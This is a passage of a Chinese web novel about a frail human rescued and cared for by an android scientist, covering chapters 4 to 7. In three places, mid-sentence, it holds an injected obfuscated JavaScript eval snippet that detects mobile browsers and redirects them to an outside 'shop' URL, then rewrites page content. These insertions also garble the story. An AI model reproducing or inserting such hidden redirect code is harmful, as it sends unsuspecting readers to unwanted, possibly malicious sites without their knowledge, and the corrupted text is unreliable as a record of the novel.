程鸢之所以能够熟练地应付,是因为自从自己在管道里醒来后,这种情况已经发生了很多次,几乎已经是程鸢的日常了。 他没有在意,翻了个身,忽然看到顾栩尧正站在床边低头看自己。 一瞬间,程鸢吓得灵魂在向上飘。 顾栩尧说:“早。” “……首席先生,早上好。”程鸢的脑子仍然发懵,心突突跳,“您不会一夜没睡吧?” “我是仿生人,不是机器人。” “哦。” 在程鸢看来也没什么差别…… “你昨天睡眠质量很差,醒过好多次。” “我一直这样。” 在交易所那样的环境下是不可能睡好觉的。 顾栩尧点点头,帮程鸢摘下手环,说:“洗漱完来吃早饭,吃完我给你做检查。” 程鸢盯着刚刚带着手环的手腕看了一会儿。 首席先生的动作也太自然了,其实摘手环这种事情自己也可以做吧。 程鸢的耳尖有点红,慢吞吞地跳下了床。 * 程鸢跟着顾栩尧走进了他的工作室。 这里很整洁,墙上有很多精密的仪器,程鸢好奇地四处打量。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307863|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他坐在顾栩尧指定的椅子上,传感器轻轻缠绕住程鸢的身体,读取脑波、血压、心跳等一系列数据。 程鸢全程都很配合。 忽然,全息屏幕上,一个参数极其短暂地跳动了一下,偏离基准线0.3%,持续时间不足0.1秒,随即恢复正常。 “嗯?” 顾栩尧深灰色的瞳孔微微收缩,手指在界面上快速操作,将那段微小的异常数据打上标记。 程鸢:“怎么了吗?” 顾栩尧:“你的基因表达波动低于显著性阈值,差异细微,但该数值一般并不会发生变动。需后续持续观察以确认。” 程鸢不懂那些术语,但明白是自己有什么问题。 扫描结束后,传感器的探头如同退潮般离开了程鸢的身体。 程鸢慢慢地吸了一口气,放松下来。 他看向顾栩尧,发现对方正一动不动地盯着看着数据屏。 过了很久,他的视线才移回到程鸢脸上,却没有回答,而是问:“检查过程中有没有什么异常?” 程鸢迟疑了一下,说:“有一瞬间我的头有点晕……但应该没什么事,我之前也总这样,应该是没休息好,一会儿多吃一点就好了。” 程鸢为了证明自己不是个麻烦,磕磕巴巴地解释了很多,但顾栩尧始终皱着眉头。 程鸢有点心虚地说:“怎、怎么了?难道我病得很重吗?” 顾栩尧摇了摇头,说:“其实你不用向我解释这么多。” 程鸢一愣,不知道该说什么。 “之前不想让我帮你洗澡,你就旁敲侧击地说了很多,进食后落泪,第一时间也是想要解释……”顾栩尧顿了顿,说,“你刚刚是不是想隐瞒自己的不适?” 仿生人有读心的功能吗?这也能猜到? 程鸢僵着身子,没有说话。 “以后你有什么想法,可以直接说出来,既然我带你回来,就会尽可能地照顾好你。你可以向我提要求,比如想自己洗澡和睡觉,我会根据情况做出更适合你的选择。” 顾栩尧的声音很轻。 “不要害怕我,程鸢。” * 程鸢的心里一直乱糟糟的。 他一直在想首席先生的那些话…… 可以直接向他提要求?还有……不要害怕他…… 午后,新的床被送了过来,接下来程鸢可以自己睡觉了。 他真的在正视自己的需求。 顾先生对自己很好,他是个很温柔的人。 程鸢的心里泛上一股暖意。 他走进了自己的卧室。 这是他第一次拥有属于自己的空间。 他兴奋地在自己的房间打转,卧室很宽敞,虽然没什么装饰,看上去有些空荡荡的,但程鸢特别满意,他左看看右摸摸,和床一起送来的家居服都试了个遍,才扑到了柔软的大床上。 而顾栩尧就倚在门边,安静地看着兴奋地程鸢,然后默默退了出去,门在他身后无声地合上。 * 程鸢觉得自己一定会一夜好眠的。 他甩掉拖鞋,掀起柔软过头的被子将自己蒙在里面。 ……而事实并非他想的那样。 这一晚,他睡得很差。 因为他又做了梦。 梦里吵吵嚷嚷的,视角很混乱,自己似乎是在逃亡。 有人在大喊他的名字,他听不清那是谁的声音,像是一个人,又像很多人。 他惊醒过好多次,坐在床上,喘息声沉重,向门口看去。 卧室的门紧闭。 床头放着顾栩尧在睡前送来的白噪音发生器。 立方体内琥珀色的光雾缓缓变化,梦幻且美丽,释放出类似雨声的柔和响动。 他需要花一些时间才能意识到自己是安全的,然后躺下继续睡去。 5. 附属住宅(三) 直到电子音响起,将程鸢从重重梦境中拽出。 他缓了缓神,想要坐起来。 但一阵持续的低频耳鸣和轻微的头晕袭来。 这对程鸢来说司空见惯,他只是用力眨了眨眼,试图驱散不适。 【早安,程鸢先生。】床头那个像闹钟的设备发出机械电子音,【现在是上午6点30分,室内温度23摄氏度,空气质量优良。】 喔,这东西在交易所没见过。 程鸢揉了揉眼睛,声音含糊地说:“你居然会说话啊。” 【是的,我随时为您服务。】 “什么样的服务都可以吗?” 【是的,只要我在我的能力范围内。】 程鸢迷迷糊糊地坐着缓神,说:“你去帮我把首席先生的意志篡改一下吧,让他打消把我送回交易所的念头,他已经拿这个事威胁过我好几次了……” 【……抱歉,主人是三阶仿生人,您说的事我做不到。】 “好吧。”程鸢其实本来也没指望一个智能管家能做到这样的事,说,“刚刚我说的那些,要帮我保密哦。” 他醒了大半,伸了个懒腰下床,忽然留意到手腕上的检测手环。 首席先生会发现自己昨天晚上的睡眠还是很差吧。 会唠叨吗……? * 厨房里的多功能的烹饪机正在制作某种蛋白质混合物,顾栩尧则在摆放餐具。 “坐。”顾栩尧说,“早餐80秒后完成。” “早上好,首席先生,需要我帮忙吗?” “不需要。还有,我的称呼会不会太长了,你改一下。” “……哦。” 程鸢在之前那个最角落的位置坐下。 “昨晚你睡眠质量很差。” “其实也还好啦……”程鸢下意识地想要说很多话证明自己身体很好、不是个麻烦,但他忽然想到了顾栩尧说过的那些话,于是顿了顿,改口道,“……主要是因为我做了好多梦。” “梦到什么了?” 程鸢皱眉,认真回忆那些已经有些模糊的梦境,“我梦到我在逃跑,身边好像还有人……然后记不太清了。” 这时烹饪机发出了提示音,早餐好了。 顾栩尧收起数据板,向厨房走去。 “以后把梦都描述给我听,我会帮你记录下来,这有助于你恢复记忆。” 顾栩尧边说边将早餐摆到程鸢面前。 程鸢看着面前新鲜的食材。 这已经是他来顾栩尧家的第三天了。 从被顾栩尧带走开始,程鸢都觉得自己似乎在梦境中。 干净的房间,足量的食物,安全的环境……这一切在不久之前,都是程鸢完全不敢幻想的东西。 美好到不真实。 “首……呃,顾先生……”程鸢纠结片刻,轻声问,“我对你来说,是很重要的人吗?” “为什么这么问?” “您是很厉害的人吧,却愿意把我带回家,还很照顾我……” 顾栩尧没有回答是或不是,而是顿了片刻,说:“现在还不确定。” “那如果确定了呢?” “如果确定是,你会有更好的待遇。”顾栩尧顿了顿,说,“如果不是,由我处置。” 程鸢:“……您会怎么处置我?” “还没决定。” 程鸢的眼睛垂了下去,没有说话。 程鸢叉起一块红薯,放到嘴里边嚼边说:“不管怎么说,您救了我,无论您需要我做什么,我都会努力做到的。” 顾栩尧没什么感情地说:“咀嚼时请保持嘴巴闭合。我要记录你的面部肌肉运动。” 程鸢抿了抿嘴唇,不说话了。 ……这个死板固执地仿生人。 程鸢在心里偷偷吐槽,反正吐槽了顾先生也不知道。 他继续慢吞吞地吃饭,但还没吃几口,进食的速度就慢了下来,开始无意识地戳弄盘子里的食物。 顾栩尧注意到了程鸢的动作,说:“你吃得比昨天还要少。” “我没什么胃口……” “你更喜欢加工过的食物吗?” 加工过的食物? “类似于营养糊吗?” “我说的是按照食谱制作的菜肴。” “那是什么味道啊。” “你没吃过吗?” 程鸢歪着头想了一会儿,说:“刚醒来的时候,我身上有几块饼干,下雨后管道里有积水……我靠这些撑了一段时间。到了垃圾场,我就翻垃圾吃。之后到了交易所,一天有两顿营养糊……” 顾栩尧皱着眉,没有搭话,在数据板上记录了些什么,随后照例收拾餐具。 ……这三天程鸢一直这样,到餐厅就开始吃,吃饱了就无所事事。 他都有点不好意思了…… 顾先生对自己很好,自己也要适当回报他吧。 他立刻站了起来,说:“我帮您收拾吧,不就是把盘子塞进机器里吗?我也可以……” 说着他将餐具都收到了盘子里。 顾栩尧硬邦邦地丢下一句“不用”,程鸢却要坚持,他捧着盘子站起来,坚持要帮忙。 可当他端着盘子猛地站起身时,那阵熟悉的眩晕感再次袭来,甚至比之前更加猛烈。 他耳中一阵嗡鸣,眼前一黑,失去了平衡,毫无征兆地向前栽去。 餐盘从手中滑落,玻璃杯砸向地面,在一瞬裂成碎片。 顾栩尧的反应速度要比人类快很多。 他猛地冲过去,冲到了程鸢的身前,用自己的身体充当缓冲垫。 程鸢直接撞进了他的怀里。 顾栩尧的手臂以一种略显僵硬,但绝对牢固的姿势环住了程鸢,以防他碰到地上的玻璃碎片。 程鸢的脸埋在顾栩尧触感极好的家居服中。 这是他第一次在清醒状态下与一个仿生人如此近距离地接触。 没有电流,没有惩罚,只有坚实的支撑。 顾栩尧的视线正对着程鸢苍白汗湿的额角。 程鸢扭头看到了地上的玻璃碎片。 曾经,在交易所的时候,程鸢也因没站稳,打碎过一个玻璃杯。 他清楚地记得管理人员尖锐夸张的辱骂,颈上的金属项圈释放了很久的电流,久到程鸢即便被扣除了两日的营养糊和饮用水配额,也没有精力感到饥饿。 这些惩罚带给他的恐惧感几乎已经刻到了骨子里。 他开始轻微地颤抖,幅度越来越大。 “我、我不是故意的……” 他的声音哽咽且沙哑,且挣扎着想要离开顾栩尧的怀抱。 “别动。” 顾栩尧制止了程鸢的动作,瞳孔微微收缩,对程鸢的身体表面进行简单的扫描,确认他没有被碎片划伤,然后才将他扶了起来,帮他站稳。 “顾先生,我、我真的不是故意的,我下次一定小心。” 程鸢仍然在颤抖。 “你刚刚状态不对,不舒服吗?” 程鸢嘴唇有些发白,小声喘着气说:“我头晕了一下,之前也总这样,很快就会好的……” 程鸢还是那样,在脆弱的时候,他还是在下意识地解释。 其实……他真的很怕被送回交易所。 他的神情仍然惶恐,顾栩尧将他带到沙发上坐下,倒了一杯舒缓剂给他。 “这个对胃的刺激很小。” 程鸢试探性地喝了一小口,之后在顾栩尧的注视下慢慢喝光了。 顾栩尧并没有操纵清洁机器人,而是亲自去清理地上的碎片。 程鸢有些惶恐不安。 “顾先生……舒缓剂很有用,我真的没事了……”程鸢磕磕绊绊地解释,又看向了刚刚被自己搞得一片狼藉的角落,“那个,需要我帮忙清理吗?” “坐好。” 顾栩尧的语调格外冰冷。 程鸢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307864|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩了缩脖子,“……好。” 顾先生生气了…… 因为什么呢? 因为自己打碎了杯子,还是因为……自己又下意识地解释了很多。 但他真的已经在努力了。 他知道,顾先生希望自己放松一点,他已经在努力了。 可是……比起自己的感受,他更需要顾先生知道自己很乖,并不是个麻烦。 所以他才想按照顾先生说的那样做。 都是为了顾先生。 都是……为了能够继续留在这里…… 程鸢安安静静地缩在沙发上,默默忍耐着眩晕感。 顾栩尧清理完杯子碎片,就走向了客厅。 程鸢努力把自己缩成一个小团子,想要降低自己的存在感。 可顾栩尧直接站在了程鸢对面,程鸢躲无可躲,只好抬起湿润的圆杏眼看顾栩尧。 顾栩尧黑着脸,明显情绪不佳。 程鸢抿了抿嘴唇,慢吞吞地眨了下眼。 “你不听话。” 顾栩尧好严肃…… 程鸢慌了,他急切地说:“我、我知道错了,我可以不吃晚饭……不,我可以三天不吃饭,求求你不要赶我走……” 顾栩尧的脸色变得更阴沉了。 “你要是敢三天不吃饭,我真的会把你扔回交易所。” 程鸢吓得呆住了,“那,五天,不能再多了,我会饿死的……” “程鸢。”顾栩尧的声音格外冷,看上去比程鸢打碎杯子的时候还要生气,“你总是头晕这件事,为什么不和我说?” 程鸢眼里还盈着刚才被吓出来的泪花,反应过来后语无伦次地解释:“对、对不起,但我真的不是故意隐瞒的,我只是觉得,我的问题不是很严重,头晕而已,忍忍就过去了……” 顾栩尧的语气格外严肃,表情也前所未有的冰冷,“我说过了,不要对我有所隐瞒。” “我……”程鸢抿了抿嘴唇,声音愈发得小了,“就算你那么说了,我也还是有点害怕……”随即很快补充道,“而且其实没什么吧,只是很小的事……” “你在害怕什么。” 紧跟着这个问题的,是一阵长久的沉默。 程鸢垂下了头,顾栩尧只能看到他微微颤抖的睫毛,和睫毛在他的眼下投出一小片阴影。 他慢慢地越缩越小,将脸埋在了膝弯处,声音因此变得含糊不清,“你说过不喜欢人类,我怕,我太麻烦了,你不要我……在这里的日子,很好,我不想回交易所……”程鸢的眼眶又湿润了,慌忙解释道,“你不喜欢我解释这么多吧,我会改的,你给我一点时间,我可以改掉这个坏毛病……” 程鸢眼中还闪着泪花,亮晶晶的,带着哭腔说:“你别不要我……” 顾栩尧沉默地看着程鸢。 他不能适应程鸢的泪水。 这个漂亮脆弱的人类哭的时候,他也很难受。 他甚至在想,人类的泪水会不会对仿生人有攻击性…… 为了停止这种难受的感觉,他蹲下来,微微仰视着缩在沙发上的程鸢,尽量放缓了语气,说:“别害怕,我不会把你扔回交易所的。” 程鸢浓密的睫毛上还挂着泪珠,依旧委屈地看着顾栩尧,糯糯地说:“可是你之前总说,要把我扔回去……” 顾栩尧没想到自己吓唬小孩的话,对小孩造成了这么大的伤害。 “……是我不对,我不会扔掉你。”他为了增加可信度,补充道,“我可以采集声波样本。” 程鸢看着顾栩尧没有说话,他不懂这是什么意思。 顾栩尧沉默了两秒,随即开口,声音仍然平稳,但语速比平时要慢,“我将对该声波样本进行采集并储存,我确定不会把程鸢送回交易所。” 这难道是在发誓吗? 仿生人的发誓方式好奇怪…… 程鸢愣愣地看了一会儿顾栩尧,慢慢挽起了嘴角,小声说:“好吧,我相信你。” 6. 附属住宅(四) 程鸢的检查报告出来了。 报告内容很长很细致,顾栩尧一个字一个字认真看过去,眉头越皱越深。 程鸢不仅有营养不良、贫血、代谢差、免疫力低下、肺寒等症状。 这些病症都可以通过治疗和调养恢复,最让顾栩尧感到震惊的,是程鸢的细胞活跃度低于标准值7%左右。 这个数据简直触目惊心,让顾栩尧怀疑检查结果是否有差错。 依他的了解,这种情况下人类根本没有办法存活。 程鸢怎么会…… 他立刻操作控制台,想要申请调取医疗数据库,却无意中看到了那个名为【神经桥接协议】的文件。 顾栩尧停下了动作。 很久以前他就了解过这个项目,它可以让仿生人和人类的感官相互链接。 也就是共感。 这项技术现在已经十分成熟,但却没怎么投入过实际应用。 毕竟确实很难想出什么样的情况下需要仿生人和人类同步感官。 尤其现在仿生人已经觉醒,更不可能与脆弱的人类建立这项链接了。 顾栩尧看着那份文件,脑中浮现了程鸢因为头晕摔倒而沮丧的样子。 他没由来地想到,如果自己能和程鸢共感就能更好地掌握程鸢的身体状况了。 但他的视线也只是在文件上停顿了几秒,立刻否定了自己这个荒唐的念头,继续寻找医疗数据。 就这样,在将程鸢带回家的第四天、两个人还完全不熟的时候,顾栩尧在工作室的时间突然变长了。 虽然同在一个屋檐下,但程鸢总是见不到顾栩尧,不知道他在忙什么,两个人基本上只有吃饭的时候才会见面。 其实这样程鸢挺开心的。 他更喜欢自己呆着,在顾栩尧身边他会有压力。 如果一直不用和顾栩尧接触,安安静静地当好一个“宠物”的话…… 这样的日子也不错。 ……当然前提是,不和顾栩尧接触。 有好几次,程鸢正在高高兴兴地做自己事,顾栩尧一出现,他的情绪就会肉眼可见地低落下去。 如果原本被电视节目逗笑,也会立刻收敛起笑意,安静下来,默默垂下头,闭紧嘴巴。 次数多了,顾栩尧也发现了哪里不太对劲。 “程鸢,你还是怕我吗?” “没、没有啊。”程鸢强迫自己视线不要躲闪,有些僵硬地笑几声,说,“只是电视演到精彩的地方了……” 很牵强的理由。 其实自己就是怕他啊,怎么可能不怕,就算他很温柔,也是个仿生人。 ……干嘛非要问出来。 程鸢心虚地偷偷瞄顾栩尧,等他戳破自己不堪一击的借口。 但好在顾栩尧一般只是盯着程鸢看一小会儿,就转身去做自己的事了。 他好像真的很忙,也不知道在忙什么…… 但是他从来没生过自己的气,渐渐的,程鸢胆子大了一点,没有那么诚惶诚恐了。 有吃有喝,还有一个温柔安静不怎么现身的“主人”,这样的日子简直满分! 程鸢喜滋滋地虚度光阴,偶尔也会担心顾栩尧嫌弃自己这个“蛀虫”,但大部分时间都在享受过去求之不得的、宁静美好的时光。 画画,看书,看电视,睡觉……或者和智能管家聊天。 智能管家是个很好的聊天搭子。 有一次,程鸢听智能管家讲了好几个一点都不好笑的笑话之后,觉得无聊,就问智能管家是不是在监视自己,会不会把自己的情况告诉顾栩尧? 其实他不过随口一问,毕竟他一直默认管家在帮顾先生监视自己。 但智能管家说,不会。 好吧,程鸢也没有很意外。 那顾栩尧也不算特别关心自己嘛…… 但智能管家接下来的话让程鸢彻底怔愣住了。 “顾先生说了,您也是这里的主人,我不会泄露主人的隐私。” 啊?…… 程鸢立刻翻了个人,从仰躺改为趴着,双肘撑在床上,看着智能管家的方向问:“怎么可能嘛,你是不是误会了,我是被他买回来的,他说我是宠物啊……宠物一般没什么地位的吧。” “顾先生输入过语音指令,不会有错。” 程鸢愣住了。 ……好吧,顾栩尧和传闻中的仿生人买家确实不一样。 程鸢开始更加仔细地观察这个将自己买回家的的仿生人。 他发现,顾栩尧面对自己时大部分时间是很平静的,偶尔皱眉头也只是因为就是程鸢吃饭很少,或者睡得不好…… 他把自己从危险的交易所捞出来,等于救了自己的命,还给自己舒服的大床、干净新鲜的食物,也欺负过自己…… 反而是自己,好像一直对他很抗拒。 顾先生也会伤心吧。 程鸢的表情开始变得严肃。 ……不能这样,自己也要知恩图报。 他决定向顾先生表达谢意。 ……家务大部分都由自动化家具自己完成,程鸢只能抢着做端盘子这样的事。 而顾栩尧会冷冰冰地让自己坐好,别添乱。 程鸢沮丧地坐回去。 自己不久前才砸碎一个杯子,确实有可能会添乱。 那还能怎么表达感谢呢? 平时受到顾先生照顾,他也会乖乖说谢谢,但……这只能算礼貌,不能算是表达谢意吧。 程鸢冥思苦想了很久,也没得到答案。 终于,在某次看电视剧的时候,他发现里面的人会抓着对方的手说谢谢。 浪漫的音乐,真诚的眼神,满含感情的道谢。 这就是程鸢理想中的样子! 他又反反复复拉了好几次进度条,将这个画面牢牢记在脑中。 …… 第二天,顾栩尧就发现,这个小人类有些焦躁不安。 他看了一眼程鸢的各项数据,没有发现任何异常。 那就说明只是情绪上的问题了。 ……顾栩尧最近很忙,他在根据程鸢的身体状况调配药物、补品还有饮食,在这方面他不是专业的,需要和很多人开会讨论,一来二去就在工作室耗了很多时间。 对程鸢确实有点疏忽了。 所以程鸢最近偶尔躲自己,顾栩尧只当是因为自己没时间陪他,所以他在闹脾气。 顾栩尧想着,等这阵忙完了,再好好陪陪程鸢。 ……可今天,程鸢似乎总是在偷瞄自己。 顾栩尧有些困惑地看了程鸢好几次,程鸢会在目光对上的一瞬间扭头,装模作样地做自己的事。 有点不对劲。 他开始格外留意程鸢的动作,但观察了很久,程鸢除了鬼鬼祟祟地偷偷看自己之外,也没有什么奇怪的地方了…… …… 另一边,程鸢也很苦恼。 他找不到一个合适的时机完成自己的道谢计划。 吃饭的时候……最好还是别说话了吧,否则又要被提醒。 吃完饭程鸢想进厨房帮忙,趁机感谢,但被赶出来了…… 下午看电视顾先生从工作室里出来了一次,但好像还是很忙,程鸢还没反应过来,他就回去了。 程鸢暗戳戳地准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307865|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一整天,等到天黑快要睡觉了,也没有等到这个合适的时机。 他懊恼地叹了一口气,嘀咕自己好没有用。 “什么?” 顾栩尧路过时,听到了程鸢的嘀咕,但没听清。 程鸢慌张起来,磕磕巴巴地说:“我、我是说,我有点不会戴这个手环。” 顾栩尧看了一眼程鸢手腕上戴了一半的手环。 程鸢都已经自己戴过好几次了,怎么可能不会戴。 但顾栩尧没有怀疑,甚至将程鸢一整天有点可疑的行为都归结于“不会戴手环的压力”,走到了程鸢身边。 他没有多说什么,单手取下手环。 程鸢垂着头,想,自己果然没用啊,靠近不了顾先生也就算了,连这样的事的事都要他帮忙…… 程鸢突然醒悟过来。 现在自己不就靠近顾先生了吗? 觉醒后的程鸢,在顾栩尧熟练地替自己扣紧检测手环、想要抽身离开时,立刻凑上去,双手抓住顾栩尧。 但……现实和理想还是有一点差距的。 因为他不敢抓顾栩尧的手,只好隔着衣服抓了他的手臂。 他也不敢“真挚诚恳”地看着顾栩尧,深深地埋着头,只露出泛红的耳尖。 并且因为过度紧张,他一个字都说不出来。 二人就这么陷入了沉默。 顾栩尧皱眉看着程鸢,问:“怎么了,还有什么事?” “呃……”程鸢磕磕绊绊地说:“这、这段时间真的很感谢您,顾先生……您照顾我,给我住的地方和好吃的东西,我、我真的很感激,而且,我也没有刻意疏远您,我只是……只是怕给您添麻烦……” 这几句话已经耗尽了程鸢全部的力气,他甚至不敢再大口呼吸。 片刻的沉默后,顾栩尧说:“好,我知道了。” 不知道是不是错觉,顾先生的声音好像比平时更轻一点…… 程鸢慢吞吞地抬起了头,看向顾栩尧的眼睛里含着水雾。 自己这样算道谢成功了吧…… 顾栩尧轻声说:“快去睡吧。” 程鸢立刻松开了顾栩尧,深深地鞠了一躬,飞快地跑回自己的卧室。 进卧室后,他的心依旧狂跳不止。 他实在太紧张了。 但好像也没有想象中的那么可怕。 ……话说回来,自己可真厉害啊,连这么难的事都做到了! 程鸢开心地想。 他不知道,同一时间,顾栩尧看着自己手臂被程鸢抓过的地方,勾起了嘴角,眼中流露出温柔的笑意。 * 晚上,程鸢躺在床上迟迟无法入眠。 他一直在想顾栩尧。 他在回味顾栩尧和自己说话的语气。 是温柔了一点吧,是吧。 说起来,自己和顾栩尧接触得实在太少了。 所以他完全摸不清顾栩尧是个什么样的仿生人。 他把智能管家喊了出来,问:“你觉得顾栩尧是个什么样的人呢?” “我不会泄露主人的隐私。” “诶呀,你别那么较真嘛,就是让你评价一下,不会泄露隐私的。” “……”管家沉默了片刻,说,“自律、优秀、厉害的人。” 程鸢:“……” 他有理由怀疑顾栩尧会查看智能管家的后台数据,否则他怎么会光挑好听的话说? 算了,顾栩尧是什么样的人,或许只有自己真正接触了才能知道吧。 …… 第二天,程鸢就暗戳戳的出一个结论。 顾栩尧是个笨蛋。 7. 附属住宅(五) 前几天,程鸢的饭一直是由机器做的,蔬菜块、碳水块和蛋白质块,很简单,但程鸢已经很满意很知足了。 而现在,他看着眼前色香味全部弃权的一坨“水泥”,脸上浮现出为难的神色。 他不明白顾栩尧为什么突然要尝试自己做饭。 但他不敢不吃,只好含泪咽下。 顾栩尧也不问程鸢味道怎么样。见程鸢吃完了,下顿就接着做。 在程鸢第n次看到顾栩尧在厨房里忙忙碌碌时,他终于忍不住为自己被摧残的味觉说句话了。 “顾先生……”程鸢仍旧坐在最靠角落的地方,声音原来特别小地说,“其实我觉得原材料就很好吃,不用麻烦您再加工了。” “不麻烦。” 又是这样直截了当的拒绝。 还说什么有要求直接提,提了你倒是答应啊! 程鸢张张嘴,还想说些什么,顾栩尧已经将餐盘端到桌上了,他只好将嘴边的话咽下。 他看着面前的“食物”,欲哭无泪。 这么难吃的东西,他已经连续吃了好几天了。 “勺子很重吗?” “……没有。” 程鸢挖起一小坨“水泥饭”,送到嘴里,没怎么敢嚼,就慌忙咽下去了,同时喝了一大口早就握在手里的水。 他也不懂一个仿生人,按照食谱一步一步做出来的东西怎么会这么难吃。 难道是食谱的错吗? 程鸢:“顾先生,你做完后尝过吗?” 顾栩尧:“没有。” 程鸢欲哭无泪地思考如何让顾栩尧吃一口自己做的“饭”。 “至少要吃掉一半。”顾栩尧看到程鸢停下了动作,食指指尖轻轻敲击了一下桌面,“你进食太少,影响身体恢复。” 程鸢忍了又忍,最终还是小心翼翼问道:“您的那份食谱真的可靠吗?” 顾栩尧一本正经道:“《有机营养成分最优配比3.0》,有很多步骤都模糊不清,我只好自己发挥了。” 程鸢看着面前顾栩尧半自由发挥的产物,脸皱巴了起来。 绝对,不能,再这样下去了。 “顾先生,能不能别再做这个了。” 顾栩尧自然看到了程鸢尝过“营养套餐”后扭曲的面部肌肉,他十分不解地问:“很难以下咽吗?” 程鸢犹豫一番,用力点了点头。 顾栩尧拿过程鸢手里的勺子,挖了一勺送进嘴里。 在程鸢注视下,面无表情地咀嚼,咽下,然后表情有几秒的滞空。 程鸢小心翼翼地观察着,直到顾栩尧没什么情绪地说:“下次做别的。”他才小小地松了一口气。 但下一秒,他将勺子还给了程鸢,说:“继续吃,再难吃也至少要吃掉一半。” 程鸢:“……” 他拗不过顾栩尧的健康论,败下阵来,绝望地面对“水泥套餐”。 至少……不能用顾先生用过的勺子…… 他默默换了筷子。 顾栩尧:“为什么不用勺子?” 这还用问? 但程鸢摸不清这个喜怒无常的仿生人会不会因为自己“嫌弃”他而生气,所以犹豫了一下说:“那个……我觉得筷子更方便一点。” 顾栩尧不再纠结这件事,程鸢偷偷松了一口气。 “药都吃了吗?” “吃了。” 那天自己突然晕倒之后,家里就陆陆续续地出现了很多药,顾栩尧每天亲自给程鸢配药,并且要盯着他服下。 那些药物的种类与用量的精度,不得不让程鸢怀疑这些天顾栩尧在工作室里一直忙的就是配药。 “我病得很严重吗?” “很多寻常的病,还有一个很罕见的情况。”顾栩尧语气如常地说,“你的细胞活跃度过低,无法给出解释。我预约了三天后的全面检查,希望到时候能有一个结论。” 程鸢眨眨眼,“全面检查是不是要到外面去做?” 顾栩尧点头,“要去科学院。” 来到上城区后,程鸢还没有去过顾栩尧家以外的地方。 仿生人的科学研究中心? 总觉得会到处是纯白冰冷的机械和面无表情的仿生人。 像顾栩尧这样。 程鸢咬着筷子看顾栩尧,想入非非。 顾栩尧像敲门那样轻敲了一下程鸢的额头,说:“快点吃。” 程鸢默默把头发拨顺:“哦……” 对话告一段落,程鸢开始专心听原本作为背景音的新闻播报,有一条新闻在二人的沉默中钻进了程鸢的耳中。 “……科学院正在全力寻找抑制‘处理器渐进性衰减综合征’的方法,请各位信任科学院,所有努力只为同一个目标服务:延续我们的文明……” 顾栩尧忽然操作控制面板,关掉了新闻播报。 程鸢咽下一口饭,问:“处理器衰减症?那是什么?” 顾栩尧的嘴唇微微抿起,视线未从数据板上移开,云淡风轻道:“仿生人的病。” 程鸢:“很严重的病吗?” 顾栩尧点点头。 程鸢还想追问什么,门铃突然响了。 他住进来的这些天,从来没人来过。 程鸢也不知道自己算不算社恐,但是他暂时还没有做好和其他仿生人见面的心理准备……他盯着门的方向,呼吸都停滞了。 顾栩尧看数据板上的访客信息,说:“是科学院的院长,洛伊。” 程鸢依旧心神不宁,他看着顾栩尧,小声提议:“呃,他是来找你的吧,要、要么我先回房间了,不打扰你们。” 顾栩尧平静地说:“好。” 程鸢得到许可,立刻站起来,抬腿就要往卧室逃—— “这位就是你买下的那个小人类吧!你好啊程鸢。” 一个陌生而清亮的声音在身后响起。 程鸢瞬间僵住了。 顾先生是什么时候开的门啊! 现在走掉的话……好像不太礼貌……程鸢只能硬着头皮,转过身来。 科学院的院长。 那是比顾先生还要厉害的人吧。 感觉会是那种很有威严的白发老爷爷。 程鸢这么想着,等看到洛伊时,惊讶地睁大了双眼。 那是一个看上去很年轻的男孩,个子比顾栩尧要矮一点。 他穿着白色卫衣和牛仔裤,头发和瞳孔是罕见的粉色,娃娃脸,长相可爱但张扬,眼睛十分灵动。 他左手抱着一束鲜花,右手拎着一个十分精致的纸袋,看到程鸢后,立刻绽开一个热情且有亲和力的笑容。 “我叫洛伊,是顾栩尧的朋友兼上司。” 程鸢下意识地看了一眼站在旁边的顾栩尧,顾栩尧静静地看着他们,没有指示程鸢该怎么做。 程鸢只能小声说:“哦,您好,院长先生……” 洛伊笑道:“不用紧张,叫我洛伊就好。喏,这是送给你的,喜欢吗?” 他将鲜花递到程鸢面前,程鸢立刻双手接过,抱在怀里。 花束以向日葵为主,点缀了很多雏菊。 很漂亮。 程鸢的眼睛变得亮晶晶的。 “我很喜欢,谢谢您。” 洛伊院长人真好。 程鸢眼睛亮晶晶地笑了。 顾栩尧捕捉到了程鸢愉悦的表情,怔了怔。 “喜欢就好。”洛伊又将手里的纸袋递了过来,“还有,这是我自己烤的小饼干,糖分比较低,对你的身体没负担,你尝尝,喜欢的话下次我再带给你。” 程鸢有些拘谨的接过袋子,小声道谢。 他看了一眼笑吟吟的洛伊。 好热情好有亲和力…… 他大概是人类吧。 